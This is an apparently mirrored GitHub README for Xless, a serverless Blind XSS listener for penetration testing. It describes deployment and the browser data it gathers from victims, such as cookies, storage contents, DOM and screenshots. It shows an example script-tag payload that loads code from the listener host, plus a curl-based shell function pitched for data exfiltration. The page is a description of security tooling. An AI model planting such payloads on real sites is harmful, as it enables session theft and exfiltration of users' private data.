Giter VIP home page Giter VIP logo

xless's Introduction


Xless
xless

The Serverless Blind XSS App

Maintained Issues Last Commit

ℹ️ About The Project

Xless is a serverless Blind XSS (bXSS) application that can be used to identify Blind XSS vulnerabilities using your own deployed version of the application. There is no need to run a full deployment process; just setup a vercel.com account and run bash deploy.sh. That's it. You now have a fully-running Blind XSS listener that uses Slack to notify you for callbacks.

⚠️ Requirements

  • vercel.com account: Vercel provides a free plan for serverless. If you use another provider for serverless, code changes should be minimal.
  • Slack Incoming Webhook URL.
  • IMGBB (free) Account and API key - for the screenshots.

🚀 Deployment

  1. Run bash deploy.sh
$ bash deploy.sh

> Deploying ~/xless under X
> https://custom-xless-deployment.vercel.app [v2] [in clipboard] [4s]
> Success! Deployment ready [4s]
  1. Use the URL for blind XSS testing 🔥

Xless will automatically serve the XSS payload, collect information, and exfiltrate it into your serverless app, which is then sent right to you in Slack.

💬 Example Payload

<script src="https://custom-xless-deployment.vercel.app"></script>

👀 Demo

Demo

📨 Collected Data

  • Cookies
  • User-Agent
  • HTTP Referrer
  • Browser DOM
  • Browser Time
  • Document Location
  • Origin
  • LocalStorage
  • SessionStorage
  • IP Address
  • Screenshot

📡 Out-of-Band (OOB) Callbacks Listener

Xless also works as an OOB (Out-of-Band) callbacks listener for HTTP/HTTPS requests. Any HTTP GET request that is sent to non-parent path will be alerted.

👀 Demo

$ curl https://custom-xless-deployment.vercel.app/callback-canary

OOB CallBack Listener Demo

Or anything random, such as:

$ curl https://custom-xless-deployment.vercel.app/88bf0ecd

👨‍⚕️ Health Check

Xless provides a /health endpoint to let you know that everything is configured correctly. The current tests are the existance of the API keys and a successful image upload to IMGBB.

Example Blind XSS payloads

You can view a number of handy XSS payloads for your xless app at $URL/examples

  • URL: https://custom-xless-deployment.vercel.app/examples Once you deploy your app, you can find the examples there.

📩 Scriptable Messages

You can use Xless to send direct messages to your listener. It can be useful in data exfiltration or as a scriptable way to send messages and alerts to your Slack app.

# on your (bashrc / zshrch) file:
function xless() {
  curl -s https://custom-xless-deployment.vercel.app/message --data "text=$1"
}

Contribution

Contribution is very welcome. Please share your ideas by Github issues and pull requests.

Here are some ideas to start with:

  1. Enabling sharing of page screenshot.
  2. Scriptable message.
  3. Your idea of a new feature?

Acknowledgement

Awesome Similar Projects

Legal Disclaimer

This project is made for educational and ethical testing purposes only. Usage of xless for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

License

The project is currently licensed under MIT License.

Author

Mazin Ahmed

xless's People

Contributors

mazen160 avatar rotemreiss avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.